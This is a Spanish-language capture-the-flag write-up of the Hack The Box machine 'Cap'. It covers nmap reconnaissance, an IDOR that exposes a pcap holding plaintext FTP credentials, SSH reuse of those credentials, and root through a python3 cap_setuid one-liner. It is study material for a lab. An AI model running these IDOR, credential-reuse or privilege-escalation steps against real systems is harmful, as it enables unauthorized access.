Cap
Plataforma: Hack The Box
Dificultad: Easy
🔗 Link de la máquina: https://app.hackthebox.com/machines/Cap

Reconocimiento
En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN cap.txt 10.129.15.117
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-07 13:29 -0300
Nmap scan report for 10.129.15.117
Host is up (3.5s latency).
Not shown: 50830 closed tcp ports (reset), 14702 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.42 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.--open: Muestra solo puertos abiertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN cap.txt: Guarda los resultados en el archivo “cap.txt”.
Puertos descubiertos:
- 21/tcp - FTP (vsftpd 3.0.3)
- 22/tcp - SSH (OpenSSH 8.2p1 Ubuntu 4ubuntu0.2)
- 80/tcp - HTTP (Gunicorn) → Security Dashboard
Enumeración Web
Ingresamos al sitio mediante el navegador accediendo a http://10.129.15.117. Nos encontramos con un “Security Dashboard” que muestra estadísticas de seguridad como eventos de seguridad, intentos de login fallidos y escaneos de puertos.

En el menú lateral encontramos varias opciones, entre ellas “Security Snapshot (5 Second PCAP + Analysis)” que permite descargar capturas de paquetes de red.
Análisis de PCAP
Al acceder a la sección de Security Snapshot, la URL cambia a http://cap.htb/data/1 y nos muestra información sobre paquetes capturados con un botón “Download” para descargar el archivo 1.pcap.

Al descargar y analizar este archivo con Wireshark, no encontramos información relevante (solo 1 paquete).

Explotación
Vulnerabilidad IDOR
Observando la URL http://cap.htb/data/1, notamos que utiliza un parámetro numérico para identificar las capturas. Esto sugiere una posible vulnerabilidad IDOR (Insecure Direct Object Reference).
Probamos cambiar el ID en la URL a /data/0 para ver si podemos acceder a capturas de otros usuarios:
http://cap.htb/data/0

Al acceder a /data/0, encontramos una captura con 72 paquetes (mucho más contenido que la anterior). Descargamos el archivo 0.pcap y lo analizamos con Wireshark.

Extracción de Credenciales
Al analizar el tráfico de red en Wireshark, aplicamos el filtro ftp para visualizar únicamente el tráfico FTP. Encontramos una conexión FTP exitosa con credenciales en texto plano:
Request: USER nathan
Request: PASS Buck3tH4TF0RM3!
Response: 230 Login successful.
Credenciales encontradas:
- Usuario: nathan
- Contraseña: Buck3tH4TF0RM3!
User Flag
Acceso SSH
Con las credenciales obtenidas del archivo PCAP, intentamos conectarnos por SSH al servidor:
ssh nathan@10.129.15.117
Ingresamos la contraseña Buck3tH4TF0RM3! y obtenemos acceso exitoso al sistema como el usuario nathan.

Lectura de la Flag
Una vez dentro del sistema, navegamos al directorio home del usuario y leemos la flag de user:
cat /home/nathan/user.txt

Escalada de Privilegios
Enumeración de Capabilities
Para la escalada de privilegios, buscamos binarios con capabilities especiales en el sistema usando el comando getcap:
getcap -r / 2>/dev/null
Resultado:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Abuso de Capabilities
Encontramos que /usr/bin/python3.8 tiene la capability cap_setuid+eip, que permite al binario cambiar el UID del proceso. Esto significa que Python puede ejecutar código como root.
Explicación de la capability:
cap_setuid: Permite cambiar el UID del proceso actual+eip: Effective, Inheritable, Permitted (la capability está habilitada)
Utilizamos Python para cambiar nuestro UID a 0 (root) y obtener una shell con privilegios de root:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Explicación del comando:
import os: Importa el módulo OS de Pythonos.setuid(0): Cambia el UID del proceso a 0 (root)os.system("/bin/bash"): Ejecuta una shell bash con privilegios de root

Al ejecutar el comando, obtenemos una shell como root.
Root Flag
Con acceso root, navegamos al directorio /root:
cd /root
ls -la
Una vez en el directorio, leemos la flag final:
cat root.txt

Hemos completado exitosamente la máquina Cap de Hack The Box.